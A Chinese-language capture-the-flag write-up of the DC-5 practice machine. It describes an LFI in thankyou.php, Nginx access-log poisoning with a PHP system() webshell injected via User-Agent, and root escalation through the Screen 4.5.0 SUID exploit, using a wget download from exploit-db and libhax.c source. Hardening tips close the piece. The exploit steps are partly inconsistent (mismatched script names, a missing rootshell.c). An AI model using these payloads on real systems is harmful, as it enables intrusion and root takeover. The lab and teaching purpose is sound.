DC-5靶机渗透实战：从异常时间戳到Root权限的完整攻击链剖析
去年在某个深夜的CTF训练中，我遇到了DC-5这个看似简单却暗藏玄机的靶机。整个渗透过程最令人难忘的，是那个不断变化的页脚时间戳——这个微小细节最终成为了突破防线的关键入口。本文将完整还原我当时如何通过Nginx日志文件包含获取初始立足点，再结合GNU Screen提权的完整思考路径。
1. 信息收集阶段的蛛丝马迹
当我的nmap扫描结果显示目标仅开放80端口时，这个看似简单的Web应用立即引起了我的警觉。经验告诉我，单一服务往往意味着更深的攻击面需要挖掘。
使用Wappalyzer插件快速识别出：
- Web服务器：Nginx 1.6.2
- 未使用常见CMS框架
- 前端包含基础留言板功能
在常规目录扫描中，dirsearch发现了几个关键文件：
/thankyou.php (留言提交确认页) /footer.php (动态页脚文件)异常现象捕捉：每次提交留言后，页脚显示的时间戳都会更新。更奇怪的是，直接访问footer.php时，时间戳仍会随刷新变化——这明显不符合静态包含文件的特征。
提示：时间戳异常变化可能暗示着动态文件处理，常见于未正确过滤的包含操作
2. 文件包含漏洞的发现与验证
基于时间戳的异常行为，我立即尝试了经典的文件包含测试：
http://192.168.1.8/thankyou.php?file=../../../../etc/passwd当/etc/passwd文件内容成功回显时，确认存在本地文件包含(LFI)漏洞。但更值得关注的是服务器返回的报错信息：
[error] 1234#0: *5678 open() "/var/www/html/../../../../etc/passwd" failed这条Nginx错误日志透露了两个关键信息：
- 绝对路径泄露：/var/www/html
- 错误日志位置：/var/log/nginx/error.log
3. 利用Nginx日志写入Webshell
传统文件包含通常需要上传点配合，但这个靶机的突破点在于Nginx的日志记录特性。以下是具体操作步骤：
Burp Suite拦截正常请求：
POST /submit.php HTTP/1.1 Host: 192.168.1.8 Content-Type: application/x-www-form-urlencoded name=test&message=<?php system($_GET['cmd']);?>修改User-Agent注入PHP代码：
User-Agent: <?php system($_GET['cmd']);?>通过LFI执行日志中的代码：
http://192.168.1.8/thankyou.php?file=/var/log/nginx/access.log&cmd=id
为什么选择access.log而非error.log？
| 日志类型 | 记录内容 | 适用场景 |
|---|---|---|
| access.log | 完整HTTP请求 | 适合注入完整PHP代码 |
| error.log | 错误片段 | 适合短payload |
4. 权限提升：GNU Screen 4.5.0漏洞利用
获取webshell后，通过常规信息收集发现具有SUID权限的screen-4.5.0：
find / -perm -u=s -type f 2>/dev/null漏洞利用分步指南：
下载漏洞利用代码：
wget https://www.exploit-db.com/download/41154 -O exploit.sh分解脚本为三个部分：
// libhax.c - 编译为动态库 #include <stdio.h> #include <sys/types.h> #include <unistd.h> __attribute__ ((__constructor__)) void dropshell(void){ chown("/tmp/rootshell", 0, 0); chmod("/tmp/rootshell", 04755); unlink("/etc/ld.so.preload"); }编译并上传组件：
gcc -fPIC -shared -ldl -o libhax.so libhax.c gcc -o rootshell rootshell.c执行提权：
cd /tmp && ./dc5.sh
5. 防御方案与加固建议
针对文件包含漏洞：
- 在Nginx配置中添加路径限制：
location ~* \.php$ { fastcgi_param DOCUMENT_ROOT $document_root; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; }
针对日志注入：
- 修改Nginx日志格式过滤特殊字符：
log_format sanitized '$remote_addr - $http_user_agent';
针对SUID提权：
- 定期审计SUID文件：
find / -perm -4000 -exec ls -ld {} \;
这次渗透最深刻的教训是：看似无害的日志文件可能成为攻击跳板。现在我在自己的服务器上都会将日志目录设置为不可执行，并且定期检查异常日志条目。
